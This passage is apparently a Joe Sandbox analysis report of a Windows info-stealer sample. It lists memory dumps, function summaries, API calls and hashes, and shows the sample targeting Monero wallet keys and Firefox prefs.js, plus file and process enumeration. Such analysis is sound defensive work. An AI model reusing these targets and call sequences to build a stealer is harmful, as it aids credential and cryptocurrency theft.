Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: (c
API String ID: 2507841554-4066220940
Opcode ID: 3bba3442004f394a201dfed4db58010f85e7fd6eb355afa92986eda39f005a03
Instruction ID: d9246986ae99aaabf8d33b8814be2db0aefefd746cad0f6cb8b0e20c37ecca5e
Opcode Fuzzy Hash: 3bba3442004f394a201dfed4db58010f85e7fd6eb355afa92986eda39f005a03
Instruction Fuzzy Hash: 17513DB1A00218ABDF24DFA4DC45BEE77B8EB44705F1080E9B605A72C1DB746A85CFA5

Function 00B9F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BB15B8,00BB0D96), ref: 00B9F71E
StrCmpCA.SHLWAPI(?,00BB15BC), ref: 00B9F76F
StrCmpCA.SHLWAPI(?,00BB15C0), ref: 00B9F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B9FAB1
FindClose.KERNEL32(000000FF), ref: 00B9FAC3

Strings

prefs.js, xrefs: 00B9F812

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 8c64ff5bf73e70cc19586c8382acb66a5521460154206256034fab148c65afa7
Instruction ID: 803bf432d12bb1d7476415a8726488a8c59914fddd5200a09684158d5687fe59
Opcode Fuzzy Hash: 8c64ff5bf73e70cc19586c8382acb66a5521460154206256034fab148c65afa7
Instruction Fuzzy Hash: 5FB15371904108ABCB64FF64DC95AFE73B9AF55300F5085E8A40A96191EF346B49CFA2

Function 00B916D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BB510C,?,?,?,00BB51B4,?,?,00000000,?,00000000), ref: 00B91923
StrCmpCA.SHLWAPI(?,00BB525C), ref: 00B91973
StrCmpCA.SHLWAPI(?,00BB5304), ref: 00B91989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B91D40
DeleteFileA.KERNEL32(00000000), ref: 00B91DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00B91E20
FindClose.KERNEL32(000000FF), ref: 00B91E32

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Strings

\*.*, xrefs: 00B917F1

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 067a24626426100eae7f0a0b3bce9321fbda87eb1915330c212734c24d51ea7c
Instruction ID: 013b587bc7a1441bffe73474a7d88673b1e5aa5840739a6649babaecf82623f5
Opcode Fuzzy Hash: 067a24626426100eae7f0a0b3bce9321fbda87eb1915330c212734c24d51ea7c
Instruction Fuzzy Hash: 3B12FD71914118ABDB59FB60CC96AEE73B8AF55300F4045E9B10B62091EF746F89CFB2

Function 00B9DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00BB14B0,00BB0C2A), ref: 00B9DAEB
StrCmpCA.SHLWAPI(?,00BB14B4), ref: 00B9DB33
StrCmpCA.SHLWAPI(?,00BB14B8), ref: 00B9DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B9DDCC
FindClose.KERNEL32(000000FF), ref: 00B9DDDE

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 61d4265353c5fc878f608bd3da4d9198776f73cf82f6136d747a6ab0ca6f8394
Instruction ID: 3aa49bb2b2c13b4f19334338abc95818343aef28153dc1a33722ea7d31400518
Opcode Fuzzy Hash: 61d4265353c5fc878f608bd3da4d9198776f73cf82f6136d747a6ab0ca6f8394
Instruction Fuzzy Hash: 85913572904204ABCF54FB74DC569FE73BDAF95300F4085A9B90A96151EF349B09CBA2

Function 00BA7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

GetKeyboardLayoutList.USER32(00000000,00000000,00BB05AF), ref: 00BA7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00BA7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00BA7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00BA7C62
LocalFree.KERNEL32(00000000), ref: 00BA7D22

Strings

/ , xrefs: 00BA7C7F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c3dea211eb3231e8496ccd6457799fa1e473708dcc977b6dd3ed95ae0af237a
Instruction ID: cc1f1a8e45a174a9511ddc980208b491be85d40edae8cc108580ebf95aa9cc29
Opcode Fuzzy Hash: 8c3dea211eb3231e8496ccd6457799fa1e473708dcc977b6dd3ed95ae0af237a
Instruction Fuzzy Hash: 92416071949218ABCB64DF54DC99BEEB3B8FF45700F2041D9E40AA2290DB742F85CFA1

Function 00B9E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00BB0D73), ref: 00B9E4A2
StrCmpCA.SHLWAPI(?,00BB14F8), ref: 00B9E4F2
StrCmpCA.SHLWAPI(?,00BB14FC), ref: 00B9E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00B9EBDF

Strings

\*.*, xrefs: 00B9E44D

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 6c1a9cedd4a5bebf1ce982003e5babc6ebd21c56bd457b709232af9f022f00c0
Instruction ID: 59b75e3b802d84b525244ffcf59689ebedc88245b2d3c1bbb276c44af65c8c67
Opcode Fuzzy Hash: 6c1a9cedd4a5bebf1ce982003e5babc6ebd21c56bd457b709232af9f022f00c0
Instruction Fuzzy Hash: 5E124D31914118ABDB54FB60DCA6EEE73B8AF55300F4045E9B50BA2191EF346F49CBB2

Function 00BA9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BA961E
Process32First.KERNEL32(00BB0ACA,00000128), ref: 00BA9632
Process32Next.KERNEL32(00BB0ACA,00000128), ref: 00BA9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00BA965C
CloseHandle.KERNEL32(00BB0ACA), ref: 00BA967A

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 812e785ec8ff1128aaba191d536c560820dc9ad2494d9e44f3c7e988ee8da88e
Instruction ID: 804564f96f019726cfcfdbfed3da1e780cea7bf88753dda41772132447f6e81f
Opcode Fuzzy Hash: 812e785ec8ff1128aaba191d536c560820dc9ad2494d9e44f3c7e988ee8da88e
Instruction Fuzzy Hash: E9010C75A05308ABCB14DFA9CD88BEDBBF8EF48300F1081C9A905D6240DB749B40EF61

Function 00BA8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00BB05B7), ref: 00BA86CA
Process32First.KERNEL32(?,00000128), ref: 00BA86DE
Process32Next.KERNEL32(?,00000128), ref: 00BA86F3

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

CloseHandle.KERNEL32(?), ref: 00BA8761

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
